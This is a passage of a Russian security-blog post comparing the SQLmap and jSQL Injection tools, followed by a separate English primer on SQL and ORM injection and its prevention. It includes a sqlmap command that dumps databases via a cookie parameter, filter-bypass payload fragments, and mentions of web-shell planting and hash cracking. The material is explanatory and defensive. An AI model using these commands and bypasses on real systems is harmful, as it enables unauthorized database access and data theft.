- поддержка прямого подключения к базе данных без использования SQL инъекции, посредством введения учётных данных СУБД, IP адреса, порта и имени БД;
- поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок;
- автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю;
- поддержка выполнения произвольных команд на ОС сервера БД и получение их стандартного вывода при использовании MySQL, PostgreSQL или Microsoft SQL Server и многое другое.
Основные ключи, которые используются при работе с инструментом:
- —dbs — поиск и вывод списка баз данных;
- -D,T,C — указание конкретной базы данных, таблицы и колонок в таблице для дампа информации из них;
- —level, —risk — параметры для более углубленного тестирования (параметры генерируют больше трафика и могут помочь системам защиты выявить атаку);
- —random-agent — использование произвольного User-Agent.
Инструмент позволяет найти и проэксплуатировать практически любую известную SQL-уязвимость, а за счет постоянных обновлений расширяется функционал, поэтому утилита обязательна к использованию. Ну а мы перейдем к менее популярному, но не менее эффективному инструменту.
JSQL injection
Инструмент для автоматизации поиска и эксплуатации SQL-уязвимостей. Написан на Java, поэтому является кроссплатформенным, нужно только установить нужную версию Java. Скачать jar-файл можно по ссылке.
В отличие от популярного SQLmap здесь есть графический интерфейс и инструмент в целом может выполнять большинство всех основных действий, необходимых для поиска и эксплуатации SQL-инъекций.
поддержка работы с 33 базами данных, например: Access, Altibase, Firebird, MemSQL, MySQL, Oracle, PostgreSQL, Presto, SQLite, SQL Server и т.д.;
- поддержка различных видов инъекций: нормальные, error-based, stacked-based, blind и time-based;
- список для введения нескольких целей;
- чтение и запись файла с помощью инъекции;
- создание и внедрение веб-шелла и SQL-шелла;
- полный перебор паролей по хешу;
- поиск страниц администратора;
- кодирование и декодирование текста;
- аутентификация с использованием Basic, Digest, NTLM и Kerberos;
- прокси-соединение по HTTP, SOCKS4 и SOCKS5.
Судя по набору функций, инструмент в себе собрал не только средство поиска и эксплуатации SQLi, но и функционал Dirb и Hashcat. Лучше их использовать отдельно, но если такой возможности нет, то приходится использовать то, что есть, но об этом чуть позже.
Интерфейс
Интерфейс легкий, незамысловатый и интуитивно понятный. В главном меню указывается URL для проверки параметров в GET- или POST-запросах, cookie и прочих заголовках. После указания необходимых параметров автоматически начнется поиск уязвимостей. Если нашлись, то они будут проэксплуатированы, а во вкладке Database отобразится содержимое всей базы данных, где можно посмотреть информацию по любой из предоставленных таблиц.
Просмотр базы данных


Кстати, и SQLmap и JSQL injection поддерживают поиск уязвимостей в достаточно экзотических параметрах как, например, cookie. Но из-за того, что в SQLmap база пейлоадов намного больше, то и результата он, вероятнее, будет добиваться чаще. При тестировании инструментов на одном и том же приложении SQLmap смог подобрать нужный пейлоад командой:
# sqlmap -u http://test.site --cookie='wp_sap=[«*»]' --dbs

а у JSQL injection с этим возникли небольшие сложности, вероятно, из-за не такой обширной базы пейлоадов.
Если удалось получить хэш пароля пользователя из БД, то в инструменте предусмотрен встроенный функционал перебора во вкладке Brute force. Это именно чистый bruteforce т.к. перебор по словарю недоступен и нужно указывать набор символов и их количество. Если сравнивать с SQLmap, то в последнем представлен перебор только по словарю, который может и не так эффективен, как полный перебор, но и не требует таких затрат по ресурсам компьютера и времени.
Перебор пароля по хешу

Есть возможность поиска панели администратора по списку. Разумеется, есть готовый список страниц для поиска, но его можно редактировать и дополнять.
Поиск панели администратора

Следующий набор функций позволяет читать файлы, загружать их, создавать и записывать web- и sql-шеллы на сервере. Все эти действия производятся на основе списка директорий, который необходимо либо прочитать, либо в который записать. Список можно редактировать. Но тут небольшая оговорка — чтобы этот функционал работал, у пользователя, от имени которого веб-приложение обращается к базе данных, должны быть соответствующие привилегии на чтение или запись, используя СУБД. То есть, должны быть привилегии на выполнение команд, например, load_file() или into outfile(). Но чаще всего подобные привилегии пользователю не предоставляются.
Чтение, запись и загрузка файлов



Вкладка Encode позволяет в реальном времени закодировать текст в base16, base32, base58, base64, Url-Encode, Hex,Html-Encode и т.д.

Последняя вкладка Scan позволяет установить список URL-адресов для автоматизации поиска SQL-инъекций. Предоставляемый изначально список можно удалить или отредактировать, добавляя собственные URL-адреса.

Используем WAF
И еще немного про взаимодействие инструментов с WAF. Изначально не заявлено, что оба инструмента позволяют обойти средство защиты, поэтому и тестирование было довольно коротким. Для тестирования использовался только Nemesida WAF Free и анализ запросов на основе сигнатур. Атаки обоих инструментов были успешно заблокированы и отображены в личном кабинете.
Фиксирование атак в личном кабинете
Вывод
Риск SQL-инъекций возникает всякий раз, когда программист создает динамический запрос к базе, содержащий введённые пользователем данные. Это значит, что способов предотвращения SQL-инъекций два:
- не использовать динамические запросы к базе;
- не использовать пользовательские данные.
Поскольку отказаться от этих двух условий довольно проблематично, то SQL-инъекции были и будут оставаться одними из самых распространенных и опасных уязвимостей веб-приложений. И вот небольшой список рекомендаций для защиты веб-приложений от них:
- тщательная проверка данных от пользователя перед использованием их в запросе;
- отключение вывода ошибок на сервере. От SQL-инъекций это не защитит, но затруднит ее поиск и эксплуатацию;
- периодическое проведение аудита веб-приложения как вручную, так и с помощью инструментов автоматизации (SQLmap, jSQL Injection и т.д.). Также можно доверить этот процесс профессионалам с достаточным опытом и уровнем подготовки;
- удаление неиспользуемого функционала. Та или иная функция, которая не была вовремя удалена может сыграть на руку злоумышленникам;
- регулярная установка обновлений;
- использование средств защиты веб-приложений, например WAF.
- Блог компании Pentestit
- Информационная безопасность
- Тестирование веб-сервисов
SQL Injections 101
The database plays a vital role in a web application as it stores and organizes its data. It serves as a central repository for storing user information, content, and other application data. The database enables efficient data retrieval, manipulation, and management, allowing the web application to deliver dynamic and personalized content to users. However, poorly implemented communication between a database and a web application can lead to sensitive data breaches, users’ mistrust, legal consequences, and loss of profits. In this article, we’ll explore backend misconfigurations that lead to such disasters and learn how to ensure the application’s safety.
What is SQL Injection?
SQL Injection – or SQLi – is a vulnerability that allows an attacker to tamper with queries that web applications send to the database. Injection occurs when an application misinterprets users’ input and treats it as SQL code rather than a string. As a result, malicious users can change the intended query flow, subvert the application’s logic, and gain unauthorized access to its resources.
Most of the time, SQLi occurs when developers need to use parameterized queries that depend on users’ input. If developers forget to properly sanitize the user’s input before inserting it into the template, they introduce an SQL injection vulnerability. A classic SQL injection example is crafting dynamic queries with plain string interpolation or concatenation, as shown in the picture below. An attacker is able to inject arbitrary SQL statements by replacing numbers in pagination parameters with SQL code.

Picture 1: Dynamic query crafted with string interpolation
What is ORM Injection?
Nowadays, developers rarely use raw SQL statements and instead, use special frameworks called ORM. ORM stands for Object Relational Mapping. It’s a technology that serves as an adapter between two different paradigms: Relational (storing data in tables) and Object-Oriented (storing data in objects). One of the things that ORMs do is generate SQL code under the hood. All the developers have to do is tell the ORM how to do it.
Obviously, automatic generation means the automatic escaping of user-supplied data. The ORM ensures that every dynamic parameter is treated like a plain string unless developers specifically disable the sanitizing. Nevertheless, injections of malicious code are still possible. ORM Injection is a vulnerability that allows an attacker to force the ORM to generate SQL that would be beneficial for them.
Consider the following example. Here we have a function that is supposed to accept Object filters with multiple parameters, such as:

Picture 2: ORM Injection
However, the developer forgot to check if the filter is indeed an object and if it contains only safe filtering parameters. Such a mistake allows attackers to inject a malicious filter that can be used to recover users’ passwords, such as:
“password LIKE ‘%a%’”
Is SQL Injection really dangerous?
Usually, SQL Injection can be considered a severe vulnerability. In most cases, a single SQL Injection on any part of your website can eventually be expanded to running any query on the database, extracting and manipulating its data. Since databases often hold the most sensitive information in the system, allowing attackers such access is devastating.
Here’s a short list of how SQL Injections can be exploited:
- Remote Code Execution (usually through special features)
- Reading & Writing files on the host
- Subverting web application’s logic
- Extracting sensitive data
- Manipulating data
- Denial of Service
What kinds of SQL Injection are possible?
Usually, three types of SQL injections are singled out: In-Band, Out-of-Band, and Blind. In turn, In-Band attacks can be Union-Based or Error-Based, and Blind SQLi can be Boolean-Based or Time-Based.

Picture 3: SQL Injection hierarchy
If an attacker is lucky, they can include the results of a subverted SQL query in the backend’s response. This is known as In-Band SQLi. There are 2 subtypes of In-Band SQLi:
- Union-Based SQLi: An attacker is able to specify the location (column) of the query output that they can read
- Error-Based SQLi: This type of SQLi is possible when an application discloses SQL / programming language errors. In that case, the attacker can analyze error messages/stack traces and deduce whether an attack is successful
With Blind SQLi, an attacker cannot see the results of a subverted SQL query. However, they have some sort of feedback that can help determine whether an injection is present. There are two subtypes of Blind SQLi:
- Boolean-Based SQLi: An attacker can use SQL conditional statements to modify a server’s response in some way. They can then compare this new response with the original one and figure out if the injection worked
- Time-Based SQLi: An attacker can combine the database’s SLEEP function with conditional statements and delay the backend’s responses. They can then compare the original response time with the new one and determine if the injection was successful
In some cases, the attacker might not get any feedback at all from the database. In that case, they can force the database to redirect output to some other location and try to read it from there. This is known as Out-of-Band SQL Injection. For instance, they can force the database to send a DNS query that contains sensitive information to a DNS server they control. Alternatively, they might force the database to write some data into a publicly accessible file. This kind of injection affects many databases.
Common mistakes when mitigating SQLi
You shouldn’t try to come up with your own sanitizer for SQL input parameters. Doing so requires deep knowledge of database specifications and experience working with them. Most likely you’ll end up drowning in regular expressions that no one else understands, and nobody is going to support the sanitizer as your database evolves.
Remember: attackers always try to obfuscate their SQLi payloads to smuggle them behind WAFs and IPSs. There’s a plethora of frameworks for exploiting SQLi that provide attackers with libraries of scripts that twist payloads. It is also easy to write a custom obfuscator and use it in conjunction with existing ones.
Let’s consider some common mistakes developers make when trying to sanitize users’ input.
It is a common misconception that you can avoid SQLi by removing/replacing spaces in the SQL query parameter. For example, how much harm can be done if an attacker can only use one word? But actually, many databases transform comments to spaces, so “SELECT email FROM user” is equal to “SELECT/**/email/**/FROM/**/user” which is one word.

Picture 4: SQLMap tamper script for using comments instead of spaces
It’s also common to think that removing quotes makes the parameter safe, but sometimes an attacker can specify another special character to define a string. For instance, PostgreSQL allows defining multi-line strings enclosed in double-dollar signs, so ‘email’ is equal to $$email$$.

Picture 5: SQLMap tamper script for using double-dollar signs instead of single quotes
The last but not least common mistake is to make a non-recursive remover for database keywords. It’s really easy to bypass too as an attacker can insert a keyword in the middle of that same keyword. So, after sanitizing, the injection remains. For instance:
“SELSELECTECT” — > “SELECT”

Picture 6: SQLMap tamper script for nesting keywords
Proper ways to prevent SQL Injections
The first step towards SQLi prevention is to use prepared statements. It’s also not acceptable to allow users to define prepared statements. Here’s an example of preventing SQL Injections with TypeORM: we have hard-coded templates and use the features of this framework to safely insert variables:

Picture 7: Prepared statements with TypeORM
But just using an ORM is not enough. As we saw earlier, business logic flaws can allow bypassing protection. The second step towards SQLi remediation is explicit validation of user input. If you expect a number, manually cast the value to a number. If you expect a URL, manually cast the input string to the URL. Such an approach makes SQLi exploitation far less likely. As a bonus, you’ll have more consistent data and fewer bugs. There are many libraries that can be used for declarative validation, such as express-validator or class-validator.
Another important thing to remember is to ALWAYS create a dedicated database user per application. Carefully read the documentation on default user privileges and disable everything besides the features that are vital for the application to function. You should NEVER use a DBA account for anything other than database administration. A DBA account is granted all possible privileges by default. This significantly magnifies the severity of SQL Injection.
Last but not least, use a Web-Application Firewall or an Intrusion Prevention system. They are able to spot and disrupt SQL Injection attacks, and even have a collection of traffic rules that detect known exploits relying on SQLi. Of course, using a WAF or IPS is not a silver bullet as they can be bypassed. However, the presence of such tools significantly raises the knowledge threshold required for conducting the attack. As a bonus, WAF / IPS interfere with SQLi exploitation automation and provide better logging than traditional tools.
